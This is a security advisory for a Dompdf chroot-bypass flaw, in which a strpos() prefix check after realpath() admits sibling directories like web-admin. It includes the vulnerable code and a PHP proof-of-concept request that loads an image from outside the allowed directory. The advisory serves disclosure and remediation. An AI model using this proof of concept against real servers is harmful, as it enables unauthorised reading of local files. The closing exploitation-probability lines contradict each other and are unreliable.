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GHSA-wvh6-f5jh-8gw4
No affected components available
Summary
The chroot check for local files uses a prefix string check to enforce chroot boundaries. The simple string comparison it performs allows paths like /var/www/root_secret/file.html when chroot is /var/www/root.
This allows attacker-controlled document paths/resources to bypass intended local file restrictions.
Details
The validateLocalUri() method is used to check if a local file is within an allowed chroot directory. After normalization with realpath(), this check is performed with a strpos() comparison:
public function validateLocalUri(string $uri)
{
...
$realfile = realpath(str_replace("file://", "", $uri));
...
foreach ($dirs as $chrootPath) {
$chrootPath = realpath($chrootPath);
if ($chrootPath !== false && strpos($realfile, $chrootPath) === 0) {
$chrootValid = true;
Due to the normalization, the $chrootPath string does not have a terminating directory separator (/) appended. Because of this, the strpos() check only validates that $chrootPath is a prefix of $realfile. This allows access to folders with similar names that fall outside of the defined chroot restrictions.
For example, a chroot setting of /var/www/ would be normalized to /var/www, removing the trailing /. During strpos(), a $chrootPath of /var/www will also match a $realfile starting with /var/www2, /var/www-admin, or /var/www_backup, despite these being different directories.
PoC
With a directory structure similar to:
/home/dompdf/
|--> web/
|--> pdf.php
|--> cat0.jpg
|--> web-admin/
|--> cat1.jpg
And web-accessible Dompdf functionality similar to the following (poc.html):
<?php
require 'vendor/autoload.php';
use Dompdf\Dompdf;
use Dompdf\Options;
$options = new Options();
$options->setChroot(['/home/dompdf/web/']);
$dompdf = new Dompdf($options);
$dompdf->loadHtml($_POST['html']);
$dompdf->render();
$dompdf->stream();
?>
A malicious actor can exploit the vulnerability with the following script:
$html = <<<HTML
<!DOCTYPE html>
<html>
<body>
<p>within chroot</p>
<img src="/home/dompdf/web/cat0.jpg">
<p>outside of chroot</p>
<img src="/home/dompdf/web-admin/cat1.jpg">
</body>
</html>
HTML;
$url = 'http://example.com/poc.php';
$data = ['html' => $html];
$headers = ["Content-type: application/x-www-form-urlencoded"];
// use key 'http' even if you send the request to https://...
$options = [
'http' => [
'header' => $headers,
'method' => 'POST',
'content' => http_build_query($data),
'ignore_errors' => true,
],
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);
When the PDF is generated, both jpg files are loaded successfully despite the cat1.jpg file being outside of the allowed chroot.
Impact
An attacker that controls a portion of the rendered HTML could leverage this vulnerability to bypass chroot restrictions and access potentially sensitive files from outside of the allowed directories.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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